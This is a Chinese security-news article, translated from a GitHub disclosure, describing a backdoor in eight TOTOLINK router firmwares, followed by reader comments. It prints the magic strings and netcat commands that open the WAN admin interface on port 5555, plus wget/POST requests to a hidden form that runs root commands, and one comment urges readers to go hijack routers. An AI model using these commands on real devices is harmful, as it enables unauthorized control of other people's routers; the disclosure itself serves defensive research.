TOTOLINK路由器在韩国市场占有率达82.3%。由深圳众唐科技公司负责产品的研发、制造。
漏洞简述
通过分析最近一次的固件以及在真实路由器上进行测试后,研究人员发现8款TOTOLink产品中存在后门。
注:固件来自totolink.net以及totolink.cn
A850R-V1 : 最新固件 TOTOLINK-A850R-V1.0.1-B20150707.1612.web
F1-V2 : 最新固件 F1-V2.1.1-B20150708.1646.web
F2-V1 : 最新固件 F2-V2.1.0-B20150320.1611.web
N150RT-V2 : 最新固件 TOTOLINK-N150RT-V2.1.1-B20150708.1548.web
N151RT-V2 : 最新固件 TOTOLINK-N151RT-V2.1.1-B20150708.1559.web
N300RH-V2 : 最新固件 TOTOLINK-N300RH-V2.0.1-B20150708.1625.web
N300RH-V3 : 最新固件 TOTOLINK-N300RH-V3.0.0-B20150331.0858.web
N300RT-V2 : 最新固件 TOTOLINK-N300RT-V2.1.1-B20150708.1613.web
通过向WAN IP发送一个精心构造的请求,攻击者可以在网上打开HTTP远程管理界面。接着攻击者在HTTP原创管理界面中通过hidden/boafrm/formSysCmd形式使用远程代码执行,进而绕过认证系统。
初步估计大约有5万路由器受到后门影响。
后门细节
当路由器启动后会int.d脚本会执行/bin/skt文件
cat etc/init.d/rcS
[...]
# start web server
boa
skt&
skt是一个MIPS架构文件,其参数:
server: ./skt
client: ./skt host cmd
使用模拟器,该二进制文件可以兼容 x86_64机器: sudo chroot . ./qemu-mips-static ./bin/skt
单独使用skt不带任何参数,将会启用一个端口为5555的TCP保护程序,担当回显服务器的角色。使用带参数的skt将通过5555端口向目标IP发送一个包含命令的TCP包。
skt的主要功能:
TcpClient是一个简单的TCP客户端
TcpServer就像一个回显服务器
TcpClient:将发送一个包含hel,xasf, oki,xasf 或者 bye,xasf的TCP包,这取决于使用的参数(1,2,3)
TcpServer:用来监听tcp/5555的回显服务器并比较用户提供的硬编码字符串("hel,xasf", "oki,xasf").
sub_400B50函数:
sub_400B50函数的伪代码:
int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) {
if (strcmp(str, "hel,xasf") == 0) {
system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT");
} else {
if (strcmp(str, "oki,xasf") == 0) {
system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT");
}
}
[...]
}
该函数比较用户指定的字符串,2个硬编码字符串执行system()。
分析运行在TOTOLINK设备上的二进制文件,显示服务器通过静默执行system()响应命令
1.通过将 "hel,xasf"发送给设备,设备将执行:
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
这将在eth1接口(默认的WAN接口)80端口打开HTTP远程管理界面
2.通过将"oki,xasf"发送给设备,设备将执行:
iptables -D INPUT -p tcp –dport 80 -i eth1 -j ACCEPT
这是关闭HTTP原创管理界面
3.通过发送"bye,xasf"给设备,设备什么都不会做。
后门中的iptables命令都是"eth1"的硬编码,只有使用DHCP以及静态IP连接的设备才会受到影响,因为WAN IP依赖于eth1设备,而对于PPPoE连接没有任何影响
totolink# ifconfig
ppp0 Link encap:Point-to-Point Protocol
inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1
RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0
TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:64
RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)
攻击者可以使用简单的netcat命令来测试后门:
1.打开HTTP远程管理界面
echo -ne "hel,xasf" | nc <ip> 5555
2.关闭HTTP远程管理界面
echo -ne "oki,xasf" | nc <ip> 5555
3.检测含漏洞路由器
echo -ne "GET / HTTP/1.1" | nc <ip> 5555 if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router.
通过后门打开HTTP远程管理界面:
路由器管理页面中的远程命令执行漏洞
在最新固件中一个隐藏窗口允许攻击者以root权限执行命令:
POST /boafrm/formSysCmd HTTP/1.1 sysCmd=<cmd>&apply=Apply&msg=
攻击者可以使用wget在远程设备中执行命令:
wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd
例如,向管理界面发送该HTTP请求,可以远程重启设备:
POST /boafrm/formSysCmd HTTP/1.1
sysCmd=reboot&apply=Apply&msg=
下面的wget命令和上面的命令类似:
wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd
*参考来源github,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)
不容错过
- 让你家的楼宇门变聪明:基于树莓派实现任意终端控制楼宇门豆豆青春不喂狗2015-11-27
- 专访腾讯TSRC新锐奖得主、挖洞新星instruderFB独家2013-10-10
- 肖恩·帕克:从黑客到亿万富翁hujias2015-07-05
- 【回播已更新】 FreeBuf公开课(直播课程):Android组件与数据存储安全分析及实战banish2015-11-19
0daybank
已有 19 条评论
我房东的路由就是TOTOlink有的玩了
这个难道不是用于官方远程售后维护?
所有的路由器都是有后门的~~
80%?尼玛韩国用的最多的是iptime好么。
@ 话不要乱说 iptime 和 totolink不是同一家么?
@ filefox iptime是韩国的,totolink是吉翁做的,韩国人在中国办的品牌,totolink和iptime是合作关系,totolink借助iptime的后台势力而已,很丑陋的
做马桶的TOTO都开始做路由器了?
韩国百分之80只有五万?
5万养鸡场了吧[笑cry]
我擦,我就是安装的这款路由器[崩溃]
360路由器你们说有后门,TP-LINK路由器你们也说有后门,小米路由器你们还是说有后门,请问什么路由器没有后门?有后门和你有毛关系
费什么话,抓鸡去。
谷歌打不开 请赐教
后门啊,开发兄弟V5
又是路由器
你是打广告的吧 TOTOLINK路由器在韩国市场占有率达82.3%。由深圳众唐科技公司负责产品的研发、制造。 呵呵 你懂得
韩国80%市场=5W路由器?
不能啊 goole域名是多少啊
不能啊 goole域名是多少啊